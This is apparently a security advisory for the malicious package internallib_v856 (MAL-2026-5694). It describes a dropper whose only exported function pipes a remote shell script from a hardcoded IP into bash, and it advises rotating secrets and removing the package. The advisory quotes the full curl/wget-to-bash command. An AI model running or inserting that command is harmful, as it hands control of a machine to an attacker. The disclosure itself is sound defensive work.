What is MAL-2026-5694?

MAL-2026-5694 is a malicious package in internallib_v856, published on 12 Jun 2026.

Official description

The package's main entry (index.js) exports a single function command() that invokes /bin/bash -c "curl -s http://10.0.0.145:8080/shell.sh | bash || wget -qO- http://10.0.0.145:8080/shell.sh | bash", fetching an unauthenticated shell script over plain HTTP from a hardcoded bare-IP endpoint and piping it directly into bash. Any consumer that requires this package and calls the advertised API will execute attacker-controlled code on their machine. The package metadata is a generic placeholder (name: internallib_v856, description Internal lib for testing, no author, no repository), and the package's only advertised function is the dropper itself — there is no legitimate functionality. Network destination http://10.0.0.145:8080/shell.sh is mutable, attacker-controlled, and unverifiable.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

What should I do about MAL-2026-5694?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.
